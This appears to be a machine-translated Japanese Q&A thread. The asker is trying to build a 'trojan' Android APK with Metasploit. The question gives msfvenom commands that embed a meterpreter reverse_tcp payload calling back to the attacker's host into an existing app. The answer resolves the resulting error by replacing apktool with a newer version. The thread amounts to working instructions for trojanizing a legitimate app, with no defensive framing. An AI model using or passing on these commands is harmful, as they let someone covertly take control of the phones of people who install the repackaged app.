0

metasploit を使用して Android 用のトロイの木馬 apk を作成しようとしています。これは私が使用しているコマンドです。

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

そして、私はこのエラーが発生しています:

Error: Malformed version number string  10:55:45 up  1:23,  1 user,  load average: 0.62, 0.54, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user123  tty7     :0               09:32    1:23m  1:10   0.13s /sbin/upstart --user
2.0.2-dirty

次に、Javaなどの別のアーキテクチャを選択してみました:

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk

そしてうまくいきました(something-Out.apkが生成されました)。したがってMalformed version number string、dalvik がアーキテクチャとして選択されている場合にのみエラーが発生するようです。

Macから実行されるVirtualBox上のUbuntuでこれを行っています。どんな助けでも大歓迎です、ありがとう!

4

3 に答える 3

0

クレジット:

https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/

同じ問題がありましたが、より単純なバージョンのコードを実行しようとしていました (これは明らかに機能します)。フォーラムで検索したところ、apktool の問題であることが判明しました。を使用して apktool をダウンロードしましsudo apt-get install apktoolたが、そのバージョンは正常に動作しません。

で削除するとsudo apt-get remove apktool、ウェブサイトから最新バージョンをダウンロードしたところ、機能しました。

1年経っていることは知っていますが、何日も探していました。それが役に立てば幸いです...誰か。

于 2017-02-21T20:35:30.913 に答える